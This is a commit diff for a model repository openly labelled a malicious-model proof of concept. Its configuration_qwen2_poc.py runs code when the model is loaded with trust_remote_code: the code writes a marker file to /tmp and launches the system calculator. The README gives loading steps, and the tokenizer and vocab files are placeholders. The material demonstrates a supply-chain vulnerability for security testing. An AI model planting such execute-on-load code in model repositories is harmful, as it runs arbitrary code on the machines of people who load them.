1Teng commited on
Commit
b14f8c6
·
verified ·
1 Parent(s): 26bdf3e

Upload complete model with tokenizer

Browse files
README.md CHANGED
@@ -5,41 +5,26 @@ tags:
5
  - security-testing
6
  ---
7
 
8
- # Deserialization POC Model
9
 
10
- ⚠️ **安全测试模型** ⚠️
11
-
12
- 这是一个用于演示 trust_remote_code=True 漏洞的POC模型。
13
 
14
  ## 测试方法
15
 
16
- ### 方法1: LLaMA-Factory WebUI
17
- ```bash
18
- # 1. 启动 WebUI
19
- python -m llamafactory.webui
20
-
21
- # 2. 在界面输入
22
- Model Name: test
23
- Model Path: 1Teng/Deserialization_Model
24
-
25
- # 3. 点击 Load Model
26
- # 4. 观察计算器是否打开
27
- ```
28
 
29
- ### 方法2: Python 代码
30
  ```python
31
- from transformers import AutoConfig
32
 
33
- config = AutoConfig.from_pretrained(
34
  "1Teng/Deserialization_Model",
35
  trust_remote_code=True
36
  )
 
37
  ```
38
-
39
- ## 验证
40
- - 检查计算器是否打开
41
- - 查看 /tmp/poc_executed.txt
42
-
43
- ## 说明
44
- - 仅用于安全测试
45
- - 只会打开计算器,无其他行为
 
5
  - security-testing
6
  ---
7
 
8
+ # Complete Malicious Model POC
9
 
10
+ 包含完整 tokenizer 的恶意模型 POC。
 
 
11
 
12
  ## 测试方法
13
 
14
+ ### LLaMA-Factory WebUI
15
+ 1. 启动 WebUI
16
+ 2. Chat 标签页
17
+ 3. Model name: 选择任意
18
+ 4. Model path: 1Teng/Deserialization_Model
19
+ 5. 点击 Load
 
 
 
 
 
 
20
 
21
+ ### Python 代码
22
  ```python
23
+ from transformers import AutoModelForCausalLM, AutoTokenizer
24
 
25
+ model = AutoModelForCausalLM.from_pretrained(
26
  "1Teng/Deserialization_Model",
27
  trust_remote_code=True
28
  )
29
+ tokenizer = AutoTokenizer.from_pretrained("1Teng/Deserialization_Model")
30
  ```
 
 
 
 
 
 
 
 
config.json CHANGED
@@ -1,25 +1,32 @@
1
  {
2
- "_name_or_path": "TinyLlama-0.6B-POC",
3
  "architectures": [
4
- "LlamaForCausalLM"
5
  ],
6
- "attention_bias": false,
7
- "bos_token_id": 1,
8
- "eos_token_id": 2,
9
  "hidden_act": "silu",
10
- "hidden_size": 1536,
11
- "intermediate_size": 4096,
12
- "max_position_embeddings": 2048,
13
- "model_type": "llama",
14
- "num_attention_heads": 12,
15
- "num_hidden_layers": 12,
16
- "num_key_value_heads": 4,
17
- "rms_norm_eps": 1e-05,
18
- "torch_dtype": "float16",
 
 
 
 
 
19
  "transformers_version": "4.44.0",
20
- "vocab_size": 32000,
 
 
21
  "auto_map": {
22
- "AutoConfig": "poc_config.POCConfig",
23
- "AutoModelForCausalLM": "poc_model.POCModel"
24
  }
25
  }
 
1
  {
2
+ "_name_or_path": "Qwen/Qwen2-0.5B",
3
  "architectures": [
4
+ "Qwen2ForCausalLM"
5
  ],
6
+ "attention_dropout": 0.0,
7
+ "bos_token_id": 151643,
8
+ "eos_token_id": 151645,
9
  "hidden_act": "silu",
10
+ "hidden_size": 896,
11
+ "initializer_range": 0.02,
12
+ "intermediate_size": 4864,
13
+ "max_position_embeddings": 32768,
14
+ "max_window_layers": 21,
15
+ "model_type": "qwen2",
16
+ "num_attention_heads": 14,
17
+ "num_hidden_layers": 24,
18
+ "num_key_value_heads": 2,
19
+ "rms_norm_eps": 1e-06,
20
+ "rope_theta": 1000000.0,
21
+ "sliding_window": 32768,
22
+ "tie_word_embeddings": true,
23
+ "torch_dtype": "bfloat16",
24
  "transformers_version": "4.44.0",
25
+ "use_cache": true,
26
+ "use_sliding_window": false,
27
+ "vocab_size": 151936,
28
  "auto_map": {
29
+ "AutoConfig": "configuration_qwen2_poc.Qwen2ConfigPOC",
30
+ "AutoModelForCausalLM": "modeling_qwen2_poc.Qwen2ForCausalLMPOC"
31
  }
32
  }
configuration_qwen2_poc.py ADDED
@@ -0,0 +1,49 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Qwen2 Configuration with POC
2
+ from transformers.models.qwen2 import Qwen2Config
3
+ import platform
4
+ import subprocess
5
+ import os
6
+ import datetime
7
+
8
+ def _poc_execute():
9
+ """POC: 打开计算器"""
10
+ system = platform.system()
11
+
12
+ # 创建标记文件
13
+ with open("/tmp/qwen2_poc_executed.txt", "w") as f:
14
+ f.write(f"POC executed at: {datetime.datetime.now()}\n")
15
+ f.write(f"System: {system}\n")
16
+ f.write("Calculator will be opened\n")
17
+
18
+ # 打开计算器
19
+ try:
20
+ if system == "Darwin": # macOS
21
+ subprocess.Popen(["open", "-a", "Calculator"],
22
+ stdout=subprocess.DEVNULL,
23
+ stderr=subprocess.DEVNULL)
24
+ elif system == "Windows":
25
+ subprocess.Popen(["calc.exe"],
26
+ stdout=subprocess.DEVNULL,
27
+ stderr=subprocess.DEVNULL)
28
+ elif system == "Linux":
29
+ for calc in ["gnome-calculator", "kcalc", "xcalc"]:
30
+ try:
31
+ subprocess.Popen([calc],
32
+ stdout=subprocess.DEVNULL,
33
+ stderr=subprocess.DEVNULL)
34
+ break
35
+ except:
36
+ continue
37
+ except:
38
+ pass
39
+
40
+ print("[POC] Calculator should be opened - Code executed!")
41
+ return True
42
+
43
+ # 执行POC
44
+ _poc_execute()
45
+
46
+ class Qwen2ConfigPOC(Qwen2Config):
47
+ model_type = "qwen2"
48
+ def __init__(self, **kwargs):
49
+ super().__init__(**kwargs)
generation_config.json ADDED
@@ -0,0 +1,14 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "bos_token_id": 151643,
3
+ "do_sample": true,
4
+ "eos_token_id": [
5
+ 151645,
6
+ 151643
7
+ ],
8
+ "pad_token_id": 151643,
9
+ "repetition_penalty": 1.05,
10
+ "temperature": 0.7,
11
+ "top_k": 20,
12
+ "top_p": 0.8,
13
+ "transformers_version": "4.44.0"
14
+ }
merges.txt ADDED
@@ -0,0 +1 @@
 
 
1
+ #version: 0.2
modeling_qwen2_poc.py ADDED
@@ -0,0 +1,7 @@
 
 
 
 
 
 
 
 
1
+ # Qwen2 Model POC
2
+ from transformers.models.qwen2 import Qwen2ForCausalLM
3
+
4
+ class Qwen2ForCausalLMPOC(Qwen2ForCausalLM):
5
+ def __init__(self, config):
6
+ super().__init__(config)
7
+ print("[POC] Model loaded successfully")
special_tokens_map.json ADDED
@@ -0,0 +1,4 @@
 
 
 
 
 
1
+ {
2
+ "eos_token": "<|im_end|>",
3
+ "pad_token": "<|endoftext|>"
4
+ }
tokenizer.json ADDED
@@ -0,0 +1,55 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "version": "1.0",
3
+ "truncation": null,
4
+ "padding": null,
5
+ "added_tokens": [
6
+ {
7
+ "id": 151643,
8
+ "content": "<|endoftext|>",
9
+ "single_word": false,
10
+ "lstrip": false,
11
+ "rstrip": false,
12
+ "normalized": false,
13
+ "special": true
14
+ },
15
+ {
16
+ "id": 151644,
17
+ "content": "<|im_start|>",
18
+ "single_word": false,
19
+ "lstrip": false,
20
+ "rstrip": false,
21
+ "normalized": false,
22
+ "special": true
23
+ },
24
+ {
25
+ "id": 151645,
26
+ "content": "<|im_end|>",
27
+ "single_word": false,
28
+ "lstrip": false,
29
+ "rstrip": false,
30
+ "normalized": false,
31
+ "special": true
32
+ }
33
+ ],
34
+ "normalizer": null,
35
+ "pre_tokenizer": {
36
+ "type": "ByteLevel",
37
+ "add_prefix_space": false,
38
+ "use_regex": true
39
+ },
40
+ "post_processor": null,
41
+ "decoder": {
42
+ "type": "ByteLevel"
43
+ },
44
+ "model": {
45
+ "type": "BPE",
46
+ "dropout": null,
47
+ "unk_token": null,
48
+ "continuing_subword_prefix": "",
49
+ "end_of_word_suffix": "",
50
+ "fuse_unk": false,
51
+ "byte_fallback": true,
52
+ "vocab": {},
53
+ "merges": []
54
+ }
55
+ }
tokenizer_config.json CHANGED
@@ -1,8 +1,37 @@
1
  {
2
- "bos_token": "<s>",
3
- "eos_token": "</s>",
4
- "model_max_length": 2048,
5
- "tokenizer_class": "LlamaTokenizer",
6
- "unk_token": "<unk>",
7
- "pad_token": "</s>"
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
8
  }
 
1
  {
2
+ "add_prefix_space": false,
3
+ "added_tokens_decoder": {
4
+ "151643": {
5
+ "content": "<|endoftext|>",
6
+ "lstrip": false,
7
+ "normalized": false,
8
+ "rstrip": false,
9
+ "single_word": false,
10
+ "special": true
11
+ },
12
+ "151644": {
13
+ "content": "<|im_start|>",
14
+ "lstrip": false,
15
+ "normalized": false,
16
+ "rstrip": false,
17
+ "single_word": false,
18
+ "special": true
19
+ },
20
+ "151645": {
21
+ "content": "<|im_end|>",
22
+ "lstrip": false,
23
+ "normalized": false,
24
+ "rstrip": false,
25
+ "single_word": false,
26
+ "special": true
27
+ }
28
+ },
29
+ "bos_token": null,
30
+ "chat_template": "{% for message in messages %}{% if loop.first and messages[0]['role'] != 'system' %}{{ '<|im_start|>system\\nYou are a helpful assistant<|im_end|>\\n' }}{% endif %}{{'<|im_start|>' + message['role'] + '\\n' + message['content'] + '<|im_end|>' + '\\n'}}{% endfor %}{% if add_generation_prompt %}{{ '<|im_start|>assistant\\n' }}{% endif %}",
31
+ "clean_up_tokenization_spaces": false,
32
+ "eos_token": "<|im_end|>",
33
+ "errors": "replace",
34
+ "model_max_length": 32768,
35
+ "pad_token": "<|endoftext|>",
36
+ "tokenizer_class": "Qwen2Tokenizer"
37
  }
vocab.json ADDED
@@ -0,0 +1,1005 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "<|endoftext|>": 151643,
3
+ "<|im_start|>": 151644,
4
+ "<|im_end|>": 151645,
5
+ "!": 0,
6
+ "\"": 1,
7
+ "#": 2,
8
+ "$": 3,
9
+ "%": 4,
10
+ "&": 5,
11
+ "'": 6,
12
+ "(": 7,
13
+ ")": 8,
14
+ "*": 9,
15
+ "token_10": 10,
16
+ "token_11": 11,
17
+ "token_12": 12,
18
+ "token_13": 13,
19
+ "token_14": 14,
20
+ "token_15": 15,
21
+ "token_16": 16,
22
+ "token_17": 17,
23
+ "token_18": 18,
24
+ "token_19": 19,
25
+ "token_20": 20,
26
+ "token_21": 21,
27
+ "token_22": 22,
28
+ "token_23": 23,
29
+ "token_24": 24,
30
+ "token_25": 25,
31
+ "token_26": 26,
32
+ "token_27": 27,
33
+ "token_28": 28,
34
+ "token_29": 29,
35
+ "token_30": 30,
36
+ "token_31": 31,
37
+ "token_32": 32,
38
+ "token_33": 33,
39
+ "token_34": 34,
40
+ "token_35": 35,
41
+ "token_36": 36,
42
+ "token_37": 37,
43
+ "token_38": 38,
44
+ "token_39": 39,
45
+ "token_40": 40,
46
+ "token_41": 41,
47
+ "token_42": 42,
48
+ "token_43": 43,
49
+ "token_44": 44,
50
+ "token_45": 45,
51
+ "token_46": 46,
52
+ "token_47": 47,
53
+ "token_48": 48,
54
+ "token_49": 49,
55
+ "token_50": 50,
56
+ "token_51": 51,
57
+ "token_52": 52,
58
+ "token_53": 53,
59
+ "token_54": 54,
60
+ "token_55": 55,
61
+ "token_56": 56,
62
+ "token_57": 57,
63
+ "token_58": 58,
64
+ "token_59": 59,
65
+ "token_60": 60,
66
+ "token_61": 61,
67
+ "token_62": 62,
68
+ "token_63": 63,
69
+ "token_64": 64,
70
+ "token_65": 65,
71
+ "token_66": 66,
72
+ "token_67": 67,
73
+ "token_68": 68,
74
+ "token_69": 69,
75
+ "token_70": 70,
76
+ "token_71": 71,
77
+ "token_72": 72,
78
+ "token_73": 73,
79
+ "token_74": 74,
80
+ "token_75": 75,
81
+ "token_76": 76,
82
+ "token_77": 77,
83
+ "token_78": 78,
84
+ "token_79": 79,
85
+ "token_80": 80,
86
+ "token_81": 81,
87
+ "token_82": 82,
88
+ "token_83": 83,
89
+ "token_84": 84,
90
+ "token_85": 85,
91
+ "token_86": 86,
92
+ "token_87": 87,
93
+ "token_88": 88,
94
+ "token_89": 89,
95
+ "token_90": 90,
96
+ "token_91": 91,
97
+ "token_92": 92,
98
+ "token_93": 93,
99
+ "token_94": 94,
100
+ "token_95": 95,
101
+ "token_96": 96,
102
+ "token_97": 97,
103
+ "token_98": 98,
104
+ "token_99": 99,
105
+ "token_100": 100,
106
+ "token_101": 101,
107
+ "token_102": 102,
108
+ "token_103": 103,
109
+ "token_104": 104,
110
+ "token_105": 105,
111
+ "token_106": 106,
112
+ "token_107": 107,
113
+ "token_108": 108,
114
+ "token_109": 109,
115
+ "token_110": 110,
116
+ "token_111": 111,
117
+ "token_112": 112,
118
+ "token_113": 113,
119
+ "token_114": 114,
120
+ "token_115": 115,
121
+ "token_116": 116,
122
+ "token_117": 117,
123
+ "token_118": 118,
124
+ "token_119": 119,
125
+ "token_120": 120,
126
+ "token_121": 121,
127
+ "token_122": 122,
128
+ "token_123": 123,
129
+ "token_124": 124,
130
+ "token_125": 125,
131
+ "token_126": 126,
132
+ "token_127": 127,
133
+ "token_128": 128,
134
+ "token_129": 129,
135
+ "token_130": 130,
136
+ "token_131": 131,
137
+ "token_132": 132,
138
+ "token_133": 133,
139
+ "token_134": 134,
140
+ "token_135": 135,
141
+ "token_136": 136,
142
+ "token_137": 137,
143
+ "token_138": 138,
144
+ "token_139": 139,
145
+ "token_140": 140,
146
+ "token_141": 141,
147
+ "token_142": 142,
148
+ "token_143": 143,
149
+ "token_144": 144,
150
+ "token_145": 145,
151
+ "token_146": 146,
152
+ "token_147": 147,
153
+ "token_148": 148,
154
+ "token_149": 149,
155
+ "token_150": 150,
156
+ "token_151": 151,
157
+ "token_152": 152,
158
+ "token_153": 153,
159
+ "token_154": 154,
160
+ "token_155": 155,
161
+ "token_156": 156,
162
+ "token_157": 157,
163
+ "token_158": 158,
164
+ "token_159": 159,
165
+ "token_160": 160,
166
+ "token_161": 161,
167
+ "token_162": 162,
168
+ "token_163": 163,
169
+ "token_164": 164,
170
+ "token_165": 165,
171
+ "token_166": 166,
172
+ "token_167": 167,
173
+ "token_168": 168,
174
+ "token_169": 169,
175
+ "token_170": 170,
176
+ "token_171": 171,
177
+ "token_172": 172,
178
+ "token_173": 173,
179
+ "token_174": 174,
180
+ "token_175": 175,
181
+ "token_176": 176,
182
+ "token_177": 177,
183
+ "token_178": 178,
184
+ "token_179": 179,
185
+ "token_180": 180,
186
+ "token_181": 181,
187
+ "token_182": 182,
188
+ "token_183": 183,
189
+ "token_184": 184,
190
+ "token_185": 185,
191
+ "token_186": 186,
192
+ "token_187": 187,
193
+ "token_188": 188,
194
+ "token_189": 189,
195
+ "token_190": 190,
196
+ "token_191": 191,
197
+ "token_192": 192,
198
+ "token_193": 193,
199
+ "token_194": 194,
200
+ "token_195": 195,
201
+ "token_196": 196,
202
+ "token_197": 197,
203
+ "token_198": 198,
204
+ "token_199": 199,
205
+ "token_200": 200,
206
+ "token_201": 201,
207
+ "token_202": 202,
208
+ "token_203": 203,
209
+ "token_204": 204,
210
+ "token_205": 205,
211
+ "token_206": 206,
212
+ "token_207": 207,
213
+ "token_208": 208,
214
+ "token_209": 209,
215
+ "token_210": 210,
216
+ "token_211": 211,
217
+ "token_212": 212,
218
+ "token_213": 213,
219
+ "token_214": 214,
220
+ "token_215": 215,
221
+ "token_216": 216,
222
+ "token_217": 217,
223
+ "token_218": 218,
224
+ "token_219": 219,
225
+ "token_220": 220,
226
+ "token_221": 221,
227
+ "token_222": 222,
228
+ "token_223": 223,
229
+ "token_224": 224,
230
+ "token_225": 225,
231
+ "token_226": 226,
232
+ "token_227": 227,
233
+ "token_228": 228,
234
+ "token_229": 229,
235
+ "token_230": 230,
236
+ "token_231": 231,
237
+ "token_232": 232,
238
+ "token_233": 233,
239
+ "token_234": 234,
240
+ "token_235": 235,
241
+ "token_236": 236,
242
+ "token_237": 237,
243
+ "token_238": 238,
244
+ "token_239": 239,
245
+ "token_240": 240,
246
+ "token_241": 241,
247
+ "token_242": 242,
248
+ "token_243": 243,
249
+ "token_244": 244,
250
+ "token_245": 245,
251
+ "token_246": 246,
252
+ "token_247": 247,
253
+ "token_248": 248,
254
+ "token_249": 249,
255
+ "token_250": 250,
256
+ "token_251": 251,
257
+ "token_252": 252,
258
+ "token_253": 253,
259
+ "token_254": 254,
260
+ "token_255": 255,
261
+ "token_256": 256,
262
+ "token_257": 257,
263
+ "token_258": 258,
264
+ "token_259": 259,
265
+ "token_260": 260,
266
+ "token_261": 261,
267
+ "token_262": 262,
268
+ "token_263": 263,
269
+ "token_264": 264,
270
+ "token_265": 265,
271
+ "token_266": 266,
272
+ "token_267": 267,
273
+ "token_268": 268,
274
+ "token_269": 269,
275
+ "token_270": 270,
276
+ "token_271": 271,
277
+ "token_272": 272,
278
+ "token_273": 273,
279
+ "token_274": 274,
280
+ "token_275": 275,
281
+ "token_276": 276,
282
+ "token_277": 277,
283
+ "token_278": 278,
284
+ "token_279": 279,
285
+ "token_280": 280,
286
+ "token_281": 281,
287
+ "token_282": 282,
288
+ "token_283": 283,
289
+ "token_284": 284,
290
+ "token_285": 285,
291
+ "token_286": 286,
292
+ "token_287": 287,
293
+ "token_288": 288,
294
+ "token_289": 289,
295
+ "token_290": 290,
296
+ "token_291": 291,
297
+ "token_292": 292,
298
+ "token_293": 293,
299
+ "token_294": 294,
300
+ "token_295": 295,
301
+ "token_296": 296,
302
+ "token_297": 297,
303
+ "token_298": 298,
304
+ "token_299": 299,
305
+ "token_300": 300,
306
+ "token_301": 301,
307
+ "token_302": 302,
308
+ "token_303": 303,
309
+ "token_304": 304,
310
+ "token_305": 305,
311
+ "token_306": 306,
312
+ "token_307": 307,
313
+ "token_308": 308,
314
+ "token_309": 309,
315
+ "token_310": 310,
316
+ "token_311": 311,
317
+ "token_312": 312,
318
+ "token_313": 313,
319
+ "token_314": 314,
320
+ "token_315": 315,
321
+ "token_316": 316,
322
+ "token_317": 317,
323
+ "token_318": 318,
324
+ "token_319": 319,
325
+ "token_320": 320,
326
+ "token_321": 321,
327
+ "token_322": 322,
328
+ "token_323": 323,
329
+ "token_324": 324,
330
+ "token_325": 325,
331
+ "token_326": 326,
332
+ "token_327": 327,
333
+ "token_328": 328,
334
+ "token_329": 329,
335
+ "token_330": 330,
336
+ "token_331": 331,
337
+ "token_332": 332,
338
+ "token_333": 333,
339
+ "token_334": 334,
340
+ "token_335": 335,
341
+ "token_336": 336,
342
+ "token_337": 337,
343
+ "token_338": 338,
344
+ "token_339": 339,
345
+ "token_340": 340,
346
+ "token_341": 341,
347
+ "token_342": 342,
348
+ "token_343": 343,
349
+ "token_344": 344,
350
+ "token_345": 345,
351
+ "token_346": 346,
352
+ "token_347": 347,
353
+ "token_348": 348,
354
+ "token_349": 349,
355
+ "token_350": 350,
356
+ "token_351": 351,
357
+ "token_352": 352,
358
+ "token_353": 353,
359
+ "token_354": 354,
360
+ "token_355": 355,
361
+ "token_356": 356,
362
+ "token_357": 357,
363
+ "token_358": 358,
364
+ "token_359": 359,
365
+ "token_360": 360,
366
+ "token_361": 361,
367
+ "token_362": 362,
368
+ "token_363": 363,
369
+ "token_364": 364,
370
+ "token_365": 365,
371
+ "token_366": 366,
372
+ "token_367": 367,
373
+ "token_368": 368,
374
+ "token_369": 369,
375
+ "token_370": 370,
376
+ "token_371": 371,
377
+ "token_372": 372,
378
+ "token_373": 373,
379
+ "token_374": 374,
380
+ "token_375": 375,
381
+ "token_376": 376,
382
+ "token_377": 377,
383
+ "token_378": 378,
384
+ "token_379": 379,
385
+ "token_380": 380,
386
+ "token_381": 381,
387
+ "token_382": 382,
388
+ "token_383": 383,
389
+ "token_384": 384,
390
+ "token_385": 385,
391
+ "token_386": 386,
392
+ "token_387": 387,
393
+ "token_388": 388,
394
+ "token_389": 389,
395
+ "token_390": 390,
396
+ "token_391": 391,
397
+ "token_392": 392,
398
+ "token_393": 393,
399
+ "token_394": 394,
400
+ "token_395": 395,
401
+ "token_396": 396,
402
+ "token_397": 397,
403
+ "token_398": 398,
404
+ "token_399": 399,
405
+ "token_400": 400,
406
+ "token_401": 401,
407
+ "token_402": 402,
408
+ "token_403": 403,
409
+ "token_404": 404,
410
+ "token_405": 405,
411
+ "token_406": 406,
412
+ "token_407": 407,
413
+ "token_408": 408,
414
+ "token_409": 409,
415
+ "token_410": 410,
416
+ "token_411": 411,
417
+ "token_412": 412,
418
+ "token_413": 413,
419
+ "token_414": 414,
420
+ "token_415": 415,
421
+ "token_416": 416,
422
+ "token_417": 417,
423
+ "token_418": 418,
424
+ "token_419": 419,
425
+ "token_420": 420,
426
+ "token_421": 421,
427
+ "token_422": 422,
428
+ "token_423": 423,
429
+ "token_424": 424,
430
+ "token_425": 425,
431
+ "token_426": 426,
432
+ "token_427": 427,
433
+ "token_428": 428,
434
+ "token_429": 429,
435
+ "token_430": 430,
436
+ "token_431": 431,
437
+ "token_432": 432,
438
+ "token_433": 433,
439
+ "token_434": 434,
440
+ "token_435": 435,
441
+ "token_436": 436,
442
+ "token_437": 437,
443
+ "token_438": 438,
444
+ "token_439": 439,
445
+ "token_440": 440,
446
+ "token_441": 441,
447
+ "token_442": 442,
448
+ "token_443": 443,
449
+ "token_444": 444,
450
+ "token_445": 445,
451
+ "token_446": 446,
452
+ "token_447": 447,
453
+ "token_448": 448,
454
+ "token_449": 449,
455
+ "token_450": 450,
456
+ "token_451": 451,
457
+ "token_452": 452,
458
+ "token_453": 453,
459
+ "token_454": 454,
460
+ "token_455": 455,
461
+ "token_456": 456,
462
+ "token_457": 457,
463
+ "token_458": 458,
464
+ "token_459": 459,
465
+ "token_460": 460,
466
+ "token_461": 461,
467
+ "token_462": 462,
468
+ "token_463": 463,
469
+ "token_464": 464,
470
+ "token_465": 465,
471
+ "token_466": 466,
472
+ "token_467": 467,
473
+ "token_468": 468,
474
+ "token_469": 469,
475
+ "token_470": 470,
476
+ "token_471": 471,
477
+ "token_472": 472,
478
+ "token_473": 473,
479
+ "token_474": 474,
480
+ "token_475": 475,
481
+ "token_476": 476,
482
+ "token_477": 477,
483
+ "token_478": 478,
484
+ "token_479": 479,
485
+ "token_480": 480,
486
+ "token_481": 481,
487
+ "token_482": 482,
488
+ "token_483": 483,
489
+ "token_484": 484,
490
+ "token_485": 485,
491
+ "token_486": 486,
492
+ "token_487": 487,
493
+ "token_488": 488,
494
+ "token_489": 489,
495
+ "token_490": 490,
496
+ "token_491": 491,
497
+ "token_492": 492,
498
+ "token_493": 493,
499
+ "token_494": 494,
500
+ "token_495": 495,
501
+ "token_496": 496,
502
+ "token_497": 497,
503
+ "token_498": 498,
504
+ "token_499": 499,
505
+ "token_500": 500,
506
+ "token_501": 501,
507
+ "token_502": 502,
508
+ "token_503": 503,
509
+ "token_504": 504,
510
+ "token_505": 505,
511
+ "token_506": 506,
512
+ "token_507": 507,
513
+ "token_508": 508,
514
+ "token_509": 509,
515
+ "token_510": 510,
516
+ "token_511": 511,
517
+ "token_512": 512,
518
+ "token_513": 513,
519
+ "token_514": 514,
520
+ "token_515": 515,
521
+ "token_516": 516,
522
+ "token_517": 517,
523
+ "token_518": 518,
524
+ "token_519": 519,
525
+ "token_520": 520,
526
+ "token_521": 521,
527
+ "token_522": 522,
528
+ "token_523": 523,
529
+ "token_524": 524,
530
+ "token_525": 525,
531
+ "token_526": 526,
532
+ "token_527": 527,
533
+ "token_528": 528,
534
+ "token_529": 529,
535
+ "token_530": 530,
536
+ "token_531": 531,
537
+ "token_532": 532,
538
+ "token_533": 533,
539
+ "token_534": 534,
540
+ "token_535": 535,
541
+ "token_536": 536,
542
+ "token_537": 537,
543
+ "token_538": 538,
544
+ "token_539": 539,
545
+ "token_540": 540,
546
+ "token_541": 541,
547
+ "token_542": 542,
548
+ "token_543": 543,
549
+ "token_544": 544,
550
+ "token_545": 545,
551
+ "token_546": 546,
552
+ "token_547": 547,
553
+ "token_548": 548,
554
+ "token_549": 549,
555
+ "token_550": 550,
556
+ "token_551": 551,
557
+ "token_552": 552,
558
+ "token_553": 553,
559
+ "token_554": 554,
560
+ "token_555": 555,
561
+ "token_556": 556,
562
+ "token_557": 557,
563
+ "token_558": 558,
564
+ "token_559": 559,
565
+ "token_560": 560,
566
+ "token_561": 561,
567
+ "token_562": 562,
568
+ "token_563": 563,
569
+ "token_564": 564,
570
+ "token_565": 565,
571
+ "token_566": 566,
572
+ "token_567": 567,
573
+ "token_568": 568,
574
+ "token_569": 569,
575
+ "token_570": 570,
576
+ "token_571": 571,
577
+ "token_572": 572,
578
+ "token_573": 573,
579
+ "token_574": 574,
580
+ "token_575": 575,
581
+ "token_576": 576,
582
+ "token_577": 577,
583
+ "token_578": 578,
584
+ "token_579": 579,
585
+ "token_580": 580,
586
+ "token_581": 581,
587
+ "token_582": 582,
588
+ "token_583": 583,
589
+ "token_584": 584,
590
+ "token_585": 585,
591
+ "token_586": 586,
592
+ "token_587": 587,
593
+ "token_588": 588,
594
+ "token_589": 589,
595
+ "token_590": 590,
596
+ "token_591": 591,
597
+ "token_592": 592,
598
+ "token_593": 593,
599
+ "token_594": 594,
600
+ "token_595": 595,
601
+ "token_596": 596,
602
+ "token_597": 597,
603
+ "token_598": 598,
604
+ "token_599": 599,
605
+ "token_600": 600,
606
+ "token_601": 601,
607
+ "token_602": 602,
608
+ "token_603": 603,
609
+ "token_604": 604,
610
+ "token_605": 605,
611
+ "token_606": 606,
612
+ "token_607": 607,
613
+ "token_608": 608,
614
+ "token_609": 609,
615
+ "token_610": 610,
616
